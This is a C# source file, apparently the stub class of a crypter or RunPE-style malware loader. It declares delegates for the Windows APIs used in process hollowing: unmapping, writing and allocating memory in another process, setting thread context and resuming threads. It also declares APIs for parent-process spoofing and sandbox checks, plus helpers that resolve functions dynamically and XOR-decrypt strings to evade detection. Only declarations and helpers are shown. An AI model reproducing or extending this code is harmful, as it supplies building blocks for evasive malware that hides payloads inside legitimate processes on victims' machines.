using System; using System.Linq; using System.Runtime.InteropServices; public partial class __Stub { /// /// delegate uint SetErrorModeDelegate(uint mode) /// public delegate uint __SetErrorModeDelegate(uint __mode); /// /// delegate int SHGetKnownFolderPath(Guid rfid, uint flags, IntPtr token, out string path) /// public delegate int __SHGetKnownFolderPathDelegate([MarshalAs(UnmanagedType.LPStruct)] Guid __rfid, uint __flags, IntPtr __token, [MarshalAs(UnmanagedType.LPWStr)] out string __path); /// /// delegate IntPtr VirtualAllocExNumaDelegate(IntPtr process, IntPtr address, uint size, uint allocationType, uint protect, uint preferred) /// public delegate IntPtr __VirtualAllocExNumaDelegate(IntPtr __process, IntPtr __address, uint __size, uint __allocationType, uint __protect, uint __preferred); /// /// delegate bool Wow64DisableWow64FsRedirectionDelegate(ref IntPtr ptr) /// public delegate bool __Wow64DisableWow64FsRedirectionDelegate(ref IntPtr ptr); /// /// delegate IntPtr OpenProcessDelegate(int access, bool inheritHandle, int processId) /// public delegate IntPtr __OpenProcessDelegate(int __access, bool __inheritHandle, int __processId); /// /// delegate bool CreateProcessDelegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, IntPtr startupInfo, byte[] processInformation) /// public delegate bool __CreateProcessDelegate([MarshalAs(UnmanagedType.LPWStr)] string __applicationName, [MarshalAs(UnmanagedType.LPWStr)] string __commandLine, IntPtr __processAttributes, IntPtr __threadAttributes, bool __inheritHandles, uint __creationFlags, IntPtr __environment, string __currentDirectory, IntPtr __startupInfo, byte[] __processInformation); /// /// delegate uint GetLastErrorDelegate() /// public delegate uint __GetLastErrorDelegate(); /// /// delegate int NtQueryInformationProcessDelegate(IntPtr process, int processInformationClass, IntPtr processInformation, uint processInformationLength, IntPtr returnLength) /// public delegate int __NtQueryInformationProcessDelegate(IntPtr __process, int __processInformationClass, IntPtr __processInformation, uint __processInformationLength, IntPtr __returnLength); /// /// delegate int NtAllocateVirtualMemoryDelegate(IntPtr process, ref IntPtr address, IntPtr zeroBits, ref IntPtr size, uint allocationType, uint protect) /// public delegate int __NtAllocateVirtualMemoryDelegate(IntPtr __process, ref IntPtr __address, IntPtr __zeroBits, ref IntPtr __size, uint __allocationType, uint __protect); /// /// delegate int NtWriteVirtualMemoryDelegate(IntPtr process, IntPtr baseAddress, byte[] buffer, int size, IntPtr bytesWritten) /// public delegate int __NtWriteVirtualMemoryDelegate(IntPtr __process, IntPtr __baseAddress, byte[] __buffer, int __size, IntPtr __bytesWritten); /// /// delegate uint NtUnmapViewOfSectionDelegate(IntPtr process, IntPtr baseAddress) /// public delegate uint __NtUnmapViewOfSectionDelegate(IntPtr __process, IntPtr __baseAddress); /// /// delegate int NtSetContextThreadDelegate(IntPtr thread, IntPtr context) /// public delegate int __NtSetContextThreadDelegate(IntPtr __thread, IntPtr __context); /// /// delegate int NtGetContextThreadDelegate(IntPtr thread, IntPtr context) /// public delegate int __NtGetContextThreadDelegate(IntPtr __thread, IntPtr __context); /// /// delegate int NtResumeThreadDelegate(IntPtr thread, out uint suspendCount) /// public delegate int __NtResumeThreadDelegate(IntPtr __thread, out uint __suspendCount); /// /// delegate bool InitializeProcThreadAttributeListDelegate(IntPtr attributeList, int attributeCount, int flags, ref IntPtr size) /// public delegate bool __InitializeProcThreadAttributeListDelegate(IntPtr __attributeList, int __attributeCount, int __flags, ref IntPtr __size); /// /// delegate bool UpdateProcThreadAttributeDelegate(IntPtr attributeList, uint flags, IntPtr attribute, IntPtr value, IntPtr size, IntPtr previousValue, IntPtr returnSize) /// public delegate bool __UpdateProcThreadAttributeDelegate(IntPtr __attributeList, uint __flags, IntPtr __attribute, IntPtr __value, IntPtr __size, IntPtr __previousValue, IntPtr __returnSize); /// /// TDelegate GetFunction(string dll, string name) /// public static __TDelegate __GetFunction<__TDelegate>(string __dll, string __name) { // Get function pointer from DLL by name and return as delegate return Marshal.GetDelegateForFunctionPointer<__TDelegate>(__GetProcAddress(__LoadLibraryA(ref __dll), ref __name)); } /// /// string DecryptString(params ushort[] str) /// public static string __DecryptString(params ushort[] __str) { // Decrypt string return new string(__str.Skip(/**/1).Select(b => (char)(b ^ __str[/**/0])).ToArray()); } /// /// int DecryptInt32(int value, int key) /// public static int __DecryptInt32(int __value, int __key) { return __value ^ (__key ^ 0x3d69c853); } [DllImport("kernel32.dll", EntryPoint = "LoadLibraryA", SetLastError = true)] private static extern IntPtr __LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string __name); [DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] private static extern IntPtr __GetProcAddress(IntPtr __process, [MarshalAs(UnmanagedType.VBByRefStr)] ref string __name); }